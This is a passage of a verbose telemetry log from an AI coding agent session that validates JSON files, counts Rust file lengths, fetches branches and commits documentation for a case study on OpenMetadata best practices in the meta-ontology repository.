call_id=exec-cd8cc816-d301-4f5b-8cc5-d66eb27e29bb arguments={\"cmd\":\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\"valid JSON: #{f}\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '$1 > 1000 { bad=1 } END { exit bad }' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=771 success=true output=Chunk ID: 020ce9\n[2026-07-12T04:07:48.538Z] [INFO] Wall time: 0.5949 seconds\n[2026-07-12T04:07:48.538Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:48.538Z] [INFO] Original token count: 172\n[2026-07-12T04:07:48.538Z] [INFO] Output:\n[2026-07-12T04:07:48.538Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:48.538Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:48.538Z] [INFO]    186 ./scripts/detect-code-changes.rs\n[2026-07-12T04:07:48.538Z] [INFO]    201 ./src/ontology.rs\n[2026-07-12T04:07:48.538Z] [INFO]    215 ./scripts/create-github-release.rs\n[2026-07-12T04:07:48.538Z] [INFO]    234 ./scripts/check-release-needed.rs\n[2026-07-12T04:07:48.538Z] [INFO]    234 ./scripts/collect-changelog.rs\n[2026-07-12T04:07:48.538Z] [INFO]    238 ./src/loader.rs\n[2026-07-12T04:07:48.538Z] [INFO]    273 ./scripts/rust-paths.rs\n[2026-07-12T04:07:48.538Z] [INFO]    321 ./src/words.rs\n[2026-07-12T04:07:48.538Z] [INFO]    532 ./scripts/version-and-commit.rs\n[2026-07-12T04:07:48.538Z] [INFO]   4498 total\n[2026-07-12T04:07:48.538Z] [INFO] From https://github.com/link-foundation/meta-ontology\n[2026-07-12T04:07:48.538Z] [INFO]  * branch            main       -> FETCH_HEAD\n[2026-07-12T04:07:48.538Z] [INFO]  * branch            issue-5-e2602184e2c5 -> FETCH_HEAD\n[2026-07-12T04:07:48.538Z] [INFO] 04e**********************************70b\n[2026-07-12T04:07:48.538Z] [INFO] origin/main is already in branch history\n[2026-07-12T04:07:48.538Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:48.537Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.538Z] [INFO] 2026-07-12T04:07:48.537522Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-cd8cc816-d301-4f5b-8cc5-d66eb27e29bb duration_ms=771 success=true arguments_length=675 output_length=790 output_line_count=22 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:48.537Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.538Z] [INFO] \n[2026-07-12T04:07:48.550Z] [INFO] 2026-07-12T04:07:48.549441Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_xW0YP8Mqushw8BhjvtLBx6fB arguments=const r=await tools.exec_command({cmd:\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\"valid JSON: #{f}\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '$1 > 1000 { bad=1 } END { exit bad }' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:48.550Z] [INFO]  duration_ms=878 success=true output=Script completed\n[2026-07-12T04:07:48.550Z] [INFO] Wall time 0.9 seconds\n[2026-07-12T04:07:48.550Z] [INFO] Output:\n[2026-07-12T04:07:48.550Z] [INFO] \n[2026-07-12T04:07:48.550Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:48.550Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:48.550Z] [INFO]    186 ./scripts/detect-code-changes.rs\n[2026-07-12T04:07:48.550Z] [INFO]    201 ./src/ontology.rs\n[2026-07-12T04:07:48.550Z] [INFO]    215 ./scripts/create-github-release.rs\n[2026-07-12T04:07:48.550Z] [INFO]    234 ./scripts/check-release-needed.rs\n[2026-07-12T04:07:48.550Z] [INFO]    234 ./scripts/collect-changelog.rs\n[2026-07-12T04:07:48.550Z] [INFO]    238 ./src/loader.rs\n[2026-07-12T04:07:48.550Z] [INFO]    273 ./scripts/rust-paths.rs\n[2026-07-12T04:07:48.550Z] [INFO]    321 ./src/words.rs\n[2026-07-12T04:07:48.550Z] [INFO]    532 ./scripts/version-and-commit.rs\n[2026-07-12T04:07:48.550Z] [INFO]   4498 total\n[2026-07-12T04:07:48.550Z] [INFO] From https://github.com/link-foundation/meta-ontology\n[2026-07-12T04:07:48.550Z] [INFO]  * branch            main       -> FETCH_HEAD\n[2026-07-12T04:07:48.550Z] [INFO]  * branch            issue-5-e2602184e2c5 -> FETCH_HEAD\n[2026-07-12T04:07:48.550Z] [INFO] 04e**********************************70b\n[2026-07-12T04:07:48.550Z] [INFO] origin/main is already in branch history\n[2026-07-12T04:07:48.550Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:48.549Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.550Z] [INFO] 2026-07-12T04:07:48.549486Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_xW0YP8Mqushw8BhjvtLBx6fB duration_ms=878 success=true arguments_length=725 output_length=734 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:48.549Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.550Z] [INFO] 2026-07-12T04:07:48.549695Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_xW0YP8Mqushw8BhjvtLBx6fB tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=878 total_duration_ms=878\n[2026-07-12T04:07:48.550Z] [INFO] \n[2026-07-12T04:07:48.672Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_44\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\\\\\"valid JSON: #{f}\\\\\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '\\\"'$1 > 1000 { bad=1 } END { exit bad }'\\\"' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\\\"\",\"aggregated_output\":\"valid JSON: docs/case-studies/issue-5/raw-data/issue-5.json\\nvalid JSON: docs/case-studies/issue-5/raw-data/research-observations.json\\n   186 ./scripts/detect-code-changes.rs\\n   201 ./src/ontology.rs\\n   215 ./scripts/create-github-release.rs\\n   234 ./scripts/check-release-needed.rs\\n   234 ./scripts/collect-changelog.rs\\n   238 ./src/loader.rs\\n   273 ./scripts/rust-paths.rs\\n   321 ./src/words.rs\\n   532 ./scripts/version-and-commit.rs\\n  4498 total\\nFrom https://github.com/link-foundation/meta-ontology\\n * branch            main       -> FETCH_HEAD\\n * branch            issue-5-e2602184e2c5 -> FETCH_HEAD\\n04e**********************************70b\\norigin/main is already in branch history\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:48.672Z] [INFO] \n[2026-07-12T04:07:48.746Z] [INFO] 2026-07-12T04:07:48.744295Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:48.746Z] [INFO] \n[2026-07-12T04:07:48.755Z] [INFO] 2026-07-12T04:07:48.754146Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:48.754Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.755Z] [INFO] \n[2026-07-12T04:07:48.758Z] [INFO] 2026-07-12T04:07:48.755284Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:48.755Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.758Z] [INFO] 2026-07-12T04:07:48.755309Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:48.758Z] [INFO] \n[2026-07-12T04:07:48.832Z] [INFO] 2026-07-12T04:07:48.797504Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:48.832Z] [INFO] \n[2026-07-12T04:07:48.878Z] [INFO] 2026-07-12T04:07:48.876077Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:48.878Z] [INFO] \n[2026-07-12T04:07:48.885Z] [INFO] 2026-07-12T04:07:48.884758Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:48.885Z] [INFO] \n[2026-07-12T04:07:48.889Z] [INFO] 2026-07-12T04:07:48.888799Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:48.889Z] [INFO] \n[2026-07-12T04:07:49.031Z] [INFO] 2026-07-12T04:07:49.017819Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:49.031Z] [INFO] 2026-07-12T04:07:49.017918Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:48 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"26d79070-8925-4bf7-9bb7-754663d05f2e\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=9q98GsPjlWRaDvr3uYVRXeqN66Mls%2B6tweaDXCGcvZjlZIgqtm3zSakZKMYnnX%2FvTukjoZ2NgPkE3BwfO%2FiBwUqeSMykFGXIeQdJhumMpXQowic58f9j7nGgML33\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2ee2aa09dca6-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:49.031Z] [INFO] \n[2026-07-12T04:07:49.820Z] [INFO] 2026-07-12T04:07:49.758804Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531315bebc8191b799b36bbb61e723\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMV2UtkPmnzBjOi4JLCuhrg33axxTE1lqqslDvNNhmmmeeKCoFvYSTzwr8sb6AcgxutyY6WrFKfk7zBJWFQRH4xkKSqIECl0-32RNhxSOLXn282DPFCEG1ncG32tVs-w7v7UzqgYiCnKXqkREA_jzpHmSKs_baPnM0eOv6UNcYHvdIFB-BkzMMgE4Nw9nvDEFvi1vdbOzIy0Y0td-Y2ezguIsed1ZoY4u-MbJRyggyJjIPrxEisGbH-qrjeD21Poqgs3FTezcDvlW23MvmLw9MSst1kUk1bS9SKXnzxm9R7vG2nTnwzszdc7_NeUbCxscgBah6tUbILuiAv9ZXzET84KO6SIOYJXB0ACOr3xG6bMk0H_ijSClmW0MEc9ZD-E5yidFQmB4ZWxVGmiBahqHIUpJ7eS6pPuyfUXICo4occXZlwtaKaBsrbJAORsRlfKAX8QObe4s35Q4Wg8OWUqi-RQ4crr68WNriyInTlNyMawXL2siwHjbQBVfNZ-j7Ty4b74YlAPuG9Z2aX8Trk1EizgciBK8zeWne10PF_y8zr2PTUiHgyp7HBs59A6KAMt4Jx2M7YFT4DWuYqWm757FhSNu3_7jIREOVsXna84ea5Rgk5GEvUzyux6KHfvORVjHRFZMdurmUZo_jK_GVnQ0PFx3689rpvbm767AzDa-g1yySoFpDCRslK2PJKcC6lSAaJimtakW3raCCdVWUssnUxqJ3NlWJ9Y7Vjflw5Eb0zC9D8JM1YkNlcGqRSgvs9cF0hCsbgGidCOuQqeOEOTEBDrv2TG08E7qkBRBS2KLZKBiNTkD1Js1566MQ-kCpI7zu_uKyaDCZUBPGjLh3LHkYZfkXxTn0Zjw4V6IrOlUGFfPOD0Z_BoBBj9jPJc1BQOJdT0sRfBnIR8RWWQTxvUmcDjA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:49.820Z] [INFO] \n[2026-07-12T04:07:50.143Z] [INFO] 2026-07-12T04:07:50.142592Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531315bebc8191b799b36bbb61e723\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMWhw3KQ6qC7qSym2XVSaWinO2e7uEv4h1ziftfIMzZjQJowt0lnhpOx2Vl6wcmDq4NP8CDbny8NjBHEPQLCL3aArNjoSvgCaycWjHroUXbYMLgQzuj1M3VtISPOuZkeVZv8acVNynQf8qqmsX9g5Cd1ETSqm-FLsL6rvjwGDge4TXeRASkbOe54AQiXoWDnnaTe09i2_z0qk8dfck_0KYzkION9X4EUL7t46ccIxBbUFrYEQi-8SYrkXTZPMdqAxZ1yRVFTHYVutSo8KYcK-Y2Uj2bwx0_v-1IT_5lpyMW2JOjdNRrXJrQbH4SjrHj22efMwq0c8Y96VN8R3HlYAlzRgLhREnbl7FotTJQCjq0TFh0Y3MqKQ30LHvmM7ZoAAnVUOxl7Nsok5FT_XR6m7DADtaGDQyqM1-RrTjqdI94BIEiWw7y4Phrmi8jMTpffsWnzgJ46HZ-1YzaoD-ey5xEHsrtlGSby4m-Yc_5Wn7YBioXYNi6rhZV1zBZC1mTjal6uxt1-iwNULc0jMHM55iCHJU-7LPEkvqjrmQr98-y9w0bL9op5uenpZbZeG7G8xQU4YK6l3C9g4VFhOI8NUb6kTpRmIuO8qP5eAc3C8xLR4ZLySzHkS5MnGA36xNNyAvuFEGCAnnYfXVyL5Sl161pT7w0cvFntshxWqK0zgbfpSjobGlOz6q9EVPIi6Zu3mkZ7Nntq4yvLRK_KmbQ-LGEME8wVUobddEt1H85mpF4v04ljZ6wc-FGvXZR6f9fWc6q_dEDGP3qXb5v1BSsqSYP39fLUaIr2T20iH1ejV74iHnf2J5AC8jqxeRwXxqsJ_NsQPXH0SwwnrKv_BqLziJrMkGZ3JANJ_LlwRBFljGR_eIg7mYzRnDwyZHi9NAxd0VBrqv-yyflPq-RcPgey3W5ghDRiJJRpjfXZ45QFjGnORM=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:50.143Z] [INFO] \n[2026-07-12T04:07:50.147Z] [INFO] 2026-07-12T04:07:50.146655Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53131620e88191892e1a3795cde5b8\"), status: Some(\"in_progress\"), call_id: \"call_nwniVhZ5EAUKmGKFAhVedSdc\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:50.147Z] [INFO] \n[2026-07-12T04:07:51.618Z] [INFO] 2026-07-12T04:07:51.608792Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:07:51.618Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:51.618Z] [INFO] \n[2026-07-12T04:07:51.626Z] [INFO] 2026-07-12T04:07:51.616475Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531314d09c8191935449955dfead76\"\n[2026-07-12T04:07:51.626Z] [INFO] 2026-07-12T04:07:51.616782Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75285 output_token_count=96 cached_token_count=74496 reasoning_token_count=7 tool_token_count=75381 ttft_ms=1005 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:51.616Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.626Z] [INFO] 2026-07-12T04:07:51.616809Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75285 output_token_count=96 cached_token_count=74496 reasoning_token_count=7 tool_token_count=75381 ttft_ms=1005 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:51.616Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.626Z] [INFO] \n[2026-07-12T04:07:51.710Z] [INFO] 2026-07-12T04:07:51.701517Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a603ba79-43c0-4f07-92df-f82b1093536b decision=approved source=Config event.timestamp=2026-07-12T04:07:51.701Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.710Z] [INFO] \n[2026-07-12T04:07:51.873Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_45\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:51.873Z] [INFO] \n[2026-07-12T04:07:51.880Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_45\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3'\",\"aggregated_output\":\"[issue-5-e2602184e2c5 4dcfb8e] docs: analyze OpenMetadata best practices\\n 8 files changed, 765 insertions(+), 1 deletion(-)\\n delete mode 100644 .gitkeep\\n create mode 100644 changelog.d/20260712_openmetadata_case_study.md\\n create mode 100644 docs/case-studies/issue-5/README.md\\n create mode 100644 docs/case-studies/issue-5/openmetadata-analysis.md\\n create mode 100644 docs/case-studies/issue-5/raw-data/issue-5.json\\n create mode 100644 docs/case-studies/issue-5/raw-data/research-observations.json\\n create mode 100644 docs/case-studies/issue-5/requirements-and-solutions.md\\n create mode 100644 docs/case-studies/issue-5/source-inventory.md\\n## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5 [ahead 1]\\n4dcfb8e (HEAD -> issue-5-e2602184e2c5) docs: analyze OpenMetadata best practices\\ne4aaa28 (origin/issue-5-e2602184e2c5) Initial commit with task details\\n04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:51.880Z] [INFO] \n[2026-07-12T04:07:51.891Z] [INFO] 2026-07-12T04:07:51.887181Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a603ba79-43c0-4f07-92df-f82b1093536b arguments={\"cmd\":\"git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=186 success=true output=Chunk ID: 08ed85\n[2026-07-12T04:07:51.891Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:07:51.891Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:51.891Z] [INFO] Original token count: 233\n[2026-07-12T04:07:51.891Z] [INFO] Output:\n[2026-07-12T04:07:51.891Z] [INFO] 